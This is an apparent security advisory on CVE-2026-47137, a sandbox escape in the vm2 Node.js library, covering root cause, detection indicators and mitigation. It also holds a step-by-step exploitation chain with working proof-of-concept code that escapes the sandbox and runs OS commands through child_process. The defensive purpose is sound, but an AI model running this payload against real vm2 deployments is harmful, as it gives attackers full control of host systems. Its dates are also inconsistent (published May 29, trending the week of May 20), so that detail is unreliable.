CVE-2026-47137: 
JavaScript 취약성 분석 및 완화

CVE-2026-47137 is a sandbox escape vulnerability in vm2, an open-source Node.js VM/sandbox library, that allows unauthenticated remote attackers to achieve full Remote Code Execution (RCE) on the host system. It affects all vm2 versions up to and including 3.11.3 and was patched in version 3.11.4. The vulnerability is a bypass of the prior fix for CVE-2023-37903 (GHSA-8hg8-63c5-gwmx), introduced by a strict equality check that fails to account for omitted require options. It was published on May 29, 2026, with a CVSS v3.1 base score of 10.0 (Critical) (GitHub Advisory, vm2 Release).

The root cause is a combination of CWE-913 (Improper Control of Dynamically-Managed Code Resources) and CWE-480 (Use of Incorrect Operator). The prior patch for CVE-2023-37903 added a guard in lib/nodevm.js at line 263 using strict equality (options.require === false) to block the dangerous combination of nesting: true and require: false. However, when the require option is omitted entirely, options.require is undefined, causing the strict equality check to evaluate as false and skip the security guard. Immediately after (line 280), the destructuring assignment const { require: requireOpts = false } = options assigns requireOpts = false, recreating the exact unsafe state the patch was designed to prevent. This allows sandbox code to call require('vm2') via the injected NESTING_OVERRIDE builtin, construct an inner NodeVM with an attacker-controlled require configuration (e.g., { builtin: ['child_process'] }), and execute arbitrary OS commands (GitHub Advisory, Patch Commit).

Successful exploitation results in complete compromise of the host system running the vm2 sandbox, with full impact to confidentiality, integrity, and availability (CVSS scope: Changed). An unauthenticated attacker who can supply code to a NodeVM instance configured with nesting: true (and without an explicit require option) can escape the sandbox, execute arbitrary OS commands as the Node.js process user, read or modify any file accessible to that process, and potentially pivot to other systems on the network (GitHub Advisory, Feedly).

1. Identify a target: Find a Node.js application that uses vm2 version ≤ 3.11.3 and accepts untrusted code for execution inside a NodeVM configured with nesting: true and no explicit require option (e.g., new NodeVM({ nesting: true })).
2. Craft a malicious payload: Prepare a JavaScript payload that leverages the NESTING_OVERRIDE builtin to require('vm2') from within the outer sandbox — this succeeds because nesting: true unconditionally injects vm2 into the resolver regardless of other require settings.
3. Construct an inner NodeVM with attacker-controlled config: Inside the payload, instantiate a new NodeVM with an unrestricted require configuration, such as { require: { builtin: ['child_process'] } }.
4. Execute arbitrary OS commands: Use the inner VM to load child_process and call execSync or similar to run arbitrary commands on the host:

const { NodeVM } = require('vm2');
const nvm = new NodeVM({ nesting: true }); // require omitted
const result = nvm.run(`
  const { NodeVM } = require('vm2');
  const inner = new NodeVM({ require: { builtin: ['child_process'] } });
  module.exports = inner.run(
    "module.exports = require('child_process').execSync('id').toString()",
    'exploit.js'
  );
`, 'exploit.js');
console.log(result); // prints host uid/gid

5. Achieve post-exploitation objectives: With arbitrary command execution as the Node.js process user, the attacker can establish persistence, exfiltrate data, or move laterally within the network (GitHub Advisory, Patch Commit).

• Logs: Node.js application logs showing unexpected calls to child_process methods (e.g., execSync, exec, spawn) originating from within a vm2 sandbox context; error logs referencing VMError related to nesting and require configuration (post-patch).
• Process: Unusual child processes spawned by the Node.js process (e.g., /bin/sh, /bin/bash, cmd.exe, curl, wget, python) that are not part of normal application behavior.
• Network: Unexpected outbound network connections from the Node.js server process to external IPs, particularly on non-standard ports, which may indicate reverse shell or data exfiltration activity.
• File System: New or modified files in the application directory or system directories created by the Node.js process user; presence of web shells, cron jobs, or scheduled tasks added by the process account.
• Code Review: Presence of new NodeVM({ nesting: true }) without an explicit require config object in application source code or dependencies — this is the vulnerable configuration pattern (GitHub Advisory).

Upgrade vm2 to version 3.11.4 or later, which restructures the security check in lib/nodevm.js to destructure options first and then validate that any truthy nesting value is paired with an explicit non-null require config object, throwing a VMError at construction for all unsafe configurations (vm2 Release). As a temporary workaround, explicitly set require to a config object (e.g., require: { builtin: [] }) rather than omitting it when using nesting: true, or remove nesting: true entirely if nested VM functionality is not required. Avoid using nesting: true for untrusted code in any configuration, as it is documented as an escape hatch that grants sandbox code unrestricted host access via inner NodeVMs (GitHub Advisory, Patch Commit).

Heise reported on the vulnerability as part of broader coverage of four critical vm2 security issues with maximum CVSS ratings, highlighting the severity of sandbox escapes in Node.js environments (Heise). The vulnerability was also featured in Reddit's CVEWatch community as one of the top trending CVEs for the week of May 20, 2026. BeyondMachines covered the broader vm2 sandbox escape cluster, noting the critical risk to applications relying on vm2 for code isolation (BeyondMachines). Red Hat has also tracked the issue via Bugzilla, indicating downstream impact assessment for Red Hat products (Red Hat Bugzilla).